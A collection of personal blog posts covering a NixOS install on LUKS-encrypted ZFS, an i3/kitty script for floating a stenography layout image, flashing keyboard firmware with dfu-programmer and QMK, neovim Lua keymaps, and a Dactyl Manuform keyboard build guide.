We can start by creating the first partition of 1GB.

GPT fdisk (gdisk) version 1.0.5

Partition table scan:
  MBR: not present
  BSD: not present
  APM: not present
  GPT: not present

Creating new GPT entries in memory.

Command (? for help): o
This option deletes all partitions and creates a new protective MBR.
Proceed? (Y/N): Y

Command (? for help): n
Partition number (1-128, default 1):
First sector (34-1953525134, default = 2048) or {+-}size{KMGTP}:
Last sector (2048-1953525134, default = 1953525134) or {+-}size{KMGTP}: +1G
Current type is 8300 (Linux filesystem)
Hex code or GUID (L to show codes, Enter = 8300): EF00
Changed type of partition to 'EFI system partition'

Followed by the rest of the filesystem.

Command (? for help): n
Partition number (2-128, default 2): 2
First sector (34-1953525134, default = 2099200) or {+-}size{KMGTP}:
Last sector (2099200-1953525134, default = 1953525134) or {+-}size{KMGTP}:
Current type is 8300 (Linux filesystem)
Hex code or GUID (L to show codes, Enter = 8300):
Changed type of partition to 'Linux filesystem'

Command (? for help): c
Partition number (1-2): 2
Enter name: root

Write the changes

Command (? for help): w

Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING
PARTITIONS!!

Do you want to proceed? (Y/N): Y
OK; writing new GUID partition table (GPT) to /dev/nvme0n1.
The operation has completed successfully.

Filesystem formatting

Now that we got our partitions creates, let’s go ahead and format them properly.

Starting with the boot partition first.

mkfs.vfat /dev/disk/by-id/VENDOR-ID-part1

Then our zfs partition, but we need to encrypt it first. So, we create the Luks partition. The following command should prompt you to enter your passphrase.

cryptsetup luksFormat /dev/disk/by-id/VENDOR-ID-part2

At this stage, stage we are done with the filesystem formatting and we need to create the zfs pool. To do so, we need to mount the encrypted root filesystem; Luks. Note: The following command will prompt you to enter your passphrase again.

cryptsetup open --type luks /dev/disk/by-id/VENDOR-ID-part2 crypt

This mounts the filesystem in /dev/mapper/crypt. We’ll use that to create the pool.

zpool create -O mountpoint=none rpool /dev/mapper/crypt
zfs create -o mountpoint=legacy rpool/root
zfs create -o mountpoint=legacy rpool/root/nixos
zfs create -o mountpoint=legacy rpool/home

Filesystem mounting

After creating the filesystem, let’s mount everything.

# Mounting filesystem
mount -t zfs rpool/root/nixos /mnt
mkdir /mnt/home
mkdir /mnt/boot
# Mounting home directory
mount -t zfs rpool/home /mnt/home
# Mounting boot partition
mount /dev/disk/by-id/VENDOR-ID-part1 /mnt/boot

Generating NixOs configuration

At this stage, we need a nix configuration to build our system from. I didn’t have any configuration to start from so I generated one.

nixos-generate-config --root /mnt

NixOs configuration

The required configuration bits to be added to /mnt/etc/nixos/configuration.nix are:

boot.supportedFilesystems = [ "zfs" ];
# Make sure you set the networking.hostId option, which ZFS requires:
networking.hostId = "<random 8-digit hex string>";
# See https://nixos.org/nixos/manual/options.html#opt-networking.hostId for more.

# Use the GRUB 2 boot loader.
boot.loader.grub = {
  enable = true;
  version =2;
  device = "nodev";
  efiSupport = true;
  enableCryptodisk = true;
};

boot.initrd.luks.devices = {
 root = {
   device = "/dev/disk/by-uuid/VENDOR-UUID"; ## Use blkid to find this UUID
   # Required even if we're not using LVM
   preLVM = true;
 };
};

To get the networking.hostId use the following command:

head -c 8 /etc/machine-id

To get the luks encrypted partition use the following command:

blkid | grep $DISK

The vendor UUID you should look for should be the one with PARTLABEL="root"

Note: You might have to comment out the boot.loader.grub section out in order to run nixos-install

NixOS installation

If we’re done with all of the configuration as described above, we should be able to build a bootable system. Let’s try that out by installing NixOS.

nixos-install

Resources

https://nixos.wiki/wiki/ZFS

https://blog.lazkani.io/posts/nixos-on-encrypted-zfs/

https://ipetkov.dev/blog/installing-nixos-and-zfs-on-my-desktop/

I have been exploring the deepest ends of typing, ergonomics, and stenography recently. I thought about building a georgi keyboard but lack of scad files, time, and my busy school schedule made that idea a mote point. I decided to pickup an off the shelf steno machine, the uni v4, since it was cost and time efficient.

Now the biggest challenge is learning the layout of the uni and putting in the practice hours to reap the life long rewards of typing close to the speed of my thoughts. To use the uni you have to install plover, an open source stenotype engine that translates mechanical keyboards presses to words with little to no latency. The instructions and documentation provided for the uni is great.

I find it very easy to learn new skills by creating a productive environment that facilitates the learning of this new skill. Linux makes it very easy to customize your desktop environment to ease the learning process.

I simply wanted to have a floating image of the uni steno layout floating on my window while i practice, something like this:

This is great since I do not have to look down at the board when chording on the uni.

These are the following pieces of software and hacks I used to make this happen:

• i3wm, a tiling window manager
• kitty, a graphical terminal
• nixos, a text based linux distro
• miscellaneous linux tools
• community forum answers: https://unix.stackexchange.com/a/474300

i3 handles the keybinding to execute the process and floats the window. Kitty creates a bash process that forks another kitty process running a kitty icat kitten to display the image in the terminal.

The following was added to my i3.nix to enable i3 to bind the floatimage script to Alt+Shift+M,

"${mod}+Shift+m" = "exec kitty --title floatimage_window ${local_bin}/floatimage";

The following snippet was also added to my i3.nix configuration file to float the window created,

for_window [ title="floatimage_window" ] floating enable resize set 640 260
title_align center

I then created the script:

#!/bin/sh

# TODO make image dmenu selectable
imageFilename="$HOME/Dropbox/learn/stenography/uni-layout.png"

if [ ! -f $noteFilename ]; then
  echo "File $imageFilename is not there, aborting."
  exit
fi

kitty +kitten icat $imageFilename &
# sxiv $imageFilename &
pid="$!"

# Wait for the window to open and grab its window ID
winid=''
while : ; do
    winid="`wmctrl -lp | awk -vpid=$pid '$3==pid {print $1; exit}'`"
    [[ -z "${winid}" ]] || break
done

# Focus the window we found
wmctrl -ia "${winid}"

# Make it float
i3-msg floating enable > /dev/null;

# Move it to the center for good measure
i3-msg move position center > /dev/null;

# Wait for the application to quit
wait "${pid}";

I chmoded the script and put it in my PATH so that my shell could find it.

nota bene

floatimage script

• Search for the dfu-programmer for your distro and install it. On NixOs it’s easy as:

  nix-env -iA nixos.dfu-programmer
  

• on ubuntu

  sudo apt-get install dfu-programmer 
  

• on arch linux

  sudo pacman -S dfu-programmer
  

• Create or get the hex file you want to compile

  cd ~/.qmk_firmware
  qmk compile -kb handwired/dactyl_manuform/5x6 -km colemak-dh
  ls ./handwired_dactyl_manuform_5x6_colemak-dh
  

• Make sure your microcontroller is connected via usb and verify with lsusb

  lsusb
  

• Press the hardware reset button on your microcontroller to put the system into bootloader mode

• Check to see if the device is recognized by dfu-programmer

  # dfu-programmer name_of_board command_to_execute_on_board
   dfu-programmer atmega32u4 get
  

  this should output the bootloader version number.

• Erase the current firmware to prep the board for the new firmware you want to flash

  dfu-programmer atmega32u4 erase --force 
  

• Flash the file to the microcontroller board

  dfu-programmer atmega32u4 flash ./handwired_dactyl_manuform_5x6_colemak-dh.hex 
  

• Reset the board ( I honestly do not know why you have type this command but you cannot start using your keeb unless you type this command or disconnect and reconnect your microcontroller.

  dfu-programmer atmega32u4 reset
  

resources

man dfu-programmer

See https://dfu-programmer.github.io/
See SUPPORTED MICROCONTROLLERS section of the dfu-programmer man page for the supported microcontrollers.

This has always been the case with emacs, a functional system from its roots. With the entire editor being writing in elisp, you can easily bind whatever elisp function to a keybinding.

This snippet of lua code shows how neovim in many ways is emulating emacs by utilizing lua functions;

local keymap = vim.keymap.set
keymap("n", "<A-x>", function()
	require("telescope.builtin").keymaps(require("telescope.themes").get_ivy({
		winblend = 5,
		previewer = false,
	}))
end, { desc = "[/keys] execute keymaps or functions]" })

This keybinding works in neovim 0.8.0 with telescope.nvim plugin installed. Here’s the breakdown, whenever <A-x> i.e. when the key Alt + x is pressed in normal mode, neovim detects that the function require("telescope.builtin").keymaps() is being asked to be executed. Neovim then executes the function. The rest of the code is just beautifying the output to emulate the emacs package ivy. Telescope’s keymap function is essentially a wrapper around the vim command verbose map. See :verbose nmap which shows every custom normal mode mapping and where they are defined. The fact that we can bind functions to keys is really cool and a powerful way to use an editor. This is not a new concept but this implementation is very easy for beginners like myself because the code is all lua. For a example I easily create a new keybinding,

vim.keymap.set("n", "<A-y>", function()
	vim.cmd("echo expand('%:p')")
	vim.cmd("let @+ = expand('%:p')")
	vim.cmd('echo "Full path of " . expand(\'%:t\') . "was copied"')
end)

This is an old vimrc snippet that I converted to lua, It essentially copies the currently edited neovim buffer full path into the system’s clipboard and informs the user of the action.

nota bene

:h map :h telescope :h vim.keymap.set

• Motivation
• Ergonomic Dactyl Kailh Box Navy Jades Build
  • Parts and Materials
  • Notes on Materials
  • Tools
  • Notes on Tools
• Build Guide Information \& Tips
  • Initial 3D Printout
  • Wiring
  • Compiling code for custom QMK keymaps
  • Flashing
    • Final Setup
• Misc Advice
• Mistakes I made
• Helpful Links

Motivation

My main goal for this post is to simply provide a helpful supplement to other more detailed build guides.
Many of the build guides I followed while building my dactyl manuform skipped relevant information, information critical to the function of the keyboard. My guess is that these guides assumed prior knowledge.

Ergonomic Dactyl Kailh Box Navy Jades Build

Features:
Hotswappable
Key Layout: QWERTY, maybe DVORAK
QMK Configurable
Kailh Box Navy

Parts and Materials

Total Cost excluding PCB not used in this build: $274.86 (Not including shipping and taxes)

Notes on Materials

• The switches you decide to use can change your total cost drastically.
• The key switches are where you want to ball out and pimp your keyboard.
• Research carefully and select the key switches you want. Switches.mx has great information on different switches. For example, this is the info they have on the Kailh BOX Navy.
• Make sure to listen to key switch sound tests and look at the force graphs to see the actuation points. This is especially important if you play games and want faster key presses.
• If you end up going with Alps switches make sure to get the proper keycaps.
• If you want to save some money buy most of the parts and materials on AliExpress but the downside of purchasing the parts on AliExpress is the shipping time, usually over 30 days or longer.

Tools

Notes on Tools

• I would advise going to a maker studio to build the keyboard as they will have many of the tools I have listed above but if you are going to build more things in the future I would recommend investing in some of these tools.

• Do not cheap out on the tools if you decide to build at home because you will end up wasting your time which will make your build process painful and future projects a misery.

• For the soldering tool I would recommend the Hakko station I linked above or better yet a soldering pencil because of the somewhat small soldering points; a fine tip for the gun or pencil helps dramatically.

• Personally, I purchased a Hakko FX888D-23BY Digital Soldering Station and used my desoldering pump I purchased for my ECE class and the keyboard build was somewhat easy overall.

Build Guide Information & Tips

Initial 3D Printout

Wiring

• Follow Nick Green’s Build log to build the keyboard. As I said in my initial motivation for this post, I wanted to create a supplement and point out caveats of the build process.
  • His wiring diagram was probably the most important guide for my build. See the image below.
  • 

• Follow aaronmak’s build guide to see how the Kailh hotswap sockets are setup.

• If you buy the cheaper, regular (non-hotswappable) case from Andrew on Etsy.com which is what I recommend after completing my build, but you decide you want a hotswappable keyboard then I would highly recommend the Amoeba Single-Switch PCBs as the PCB enables hotswappability.

• The only annoying part of the single PCBs from Keeb.io is that 1 order has 30 pcs and you need 64 pieces of the PCB for the dactyl build so you end up spending extra for the extra 4 PCBs.

• FYI, I purchased the hotswappable case from Andrew on Etsy.com.

• If you decide to use the PCB do not break them into individual parts before attaching the switches to the PCB, attach the switches first and then break them apart.
  See this Reddit thread for more help on the Amoeba PCB wiring setup with the dactyl manuform.

Compiling code for custom QMK keymaps

If you are on Windows follow the Windows tab from the following link in order to setup your build environment. Setup QMK build Environment

I used: Setup QMK and QMK toolbox on macOS

Install Homebrew

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Install QMK

brew install qmk/qmk/qmk

Make sure to read the output from the installation of the QMK software installation. It will inform you if you need to install any additional dependencies necessary for building and compiling your .hex file.

Install a proper editor ;)

brew install neovim

Use the text editor to edit the keymaps and compile to create the .hex file.

Flashing

Install QMK toolbox The annoying thing on Windows is that every time you connect the Pro Micro by USB the OS thinks it is being “smart” by automatically installing drivers for the Pro Micro so you have to be physically fast clicking on flash in order to flash the hex file before Windows recognizes the chip as a different device.

You do not have to install QMK toolbox if you don’t want to as QMK supports flashing the hex file you generate from the command line. QMK toolbox is just easier and less error prone.

qmk compile -kb handwired/dactyl_manuform/6x6 -km custom;
qmk compile -kb handwired/dactyl_manuform/6x6 -km custom_right;

• These two commands will create 2 hex files and place them in $QMK_HOME directory.

• Use the QMK toolbox GUI application to flash these hex files on the left and right Pro Micros.

• If you don’t want to edit any code use QMK’s Online Configurator to create the hex files.

Personal QWERTY Keymap for Dactyl

• 

• Follow balatero to flash the QMK firmware on the Pro Micros. David Balatero’s Flashing Guide and Keymap setup
  

• Make sure that you connect both halves with the TRRS cable before connecting the USB-C cable to your computer.

• Important flashing info provided by Nick Green:

Try loading the default hex as shown by the GUI, connect the left half to USB, with both halves connected together. Short the VCC and a GND port to put it in bootloader mode, and immediately hit flash in QMK Toolbox. Then, disconnect the left half and flash the right half the same way, with the same file. Then connect the left half again, and you should be getting letters when you type.

Final Setup

Misc Advice

• Enable EE_HANDS in the rules.mk in the directory for the left half.

• Add a reset key known as RESET to a layer through the QMK firmware. This allows you to put the keyboard in flash mode using a key press on the actual keyboard.

• Use the jumper wires I linked above as the wires you connect to the Pro Micros and PCB or the hot swaps or directly to the key switches if you decide to not go for a hotswappable build.

• If you decide to directly solder the switches make sure to get glue sticks the glue gun I linked above has plenty of glue included.

• You will also want NKRO (N-Key Rollover) to prevent ghosting — letters missing from what you actually typed, or additional letters that you didn’t type. NKRO should be naturally possible if you add a diode to each key switch. You will also want to enable NKRO in the keyboard’s firmware by editing the rules.mk file in both of your custom folders.

• A regular aux cable will not work because it is a TRS cable and you need a TRRS cable in order to transmit data signals between the two Pro Micros.

• If you are building the dactyl manuform you have the option to use an RJ-9 female to female connection to connect the two halves. If I had to start over I would have gone with this approach because you don’t have to remember to always connect the two halves first before connecting to your computer.

Mistakes I made

Getting the case printed without the Kailh Hot swap holders and buying the Amoeba PCBs which I ended up not using.
This would save some money. Also the plastic holders in the hotswap case 3D printed by Andrew did not really hold the hot swaps in place well, they occasionally fell out.

Helpful Links

QMK Firmware Repo
QMK Official Documentation
QMK Online Configurator
Nick Green’s Build log
David Balatero’s Flashing Guide and Keymap setup

Handwiring Guide
Resources Gist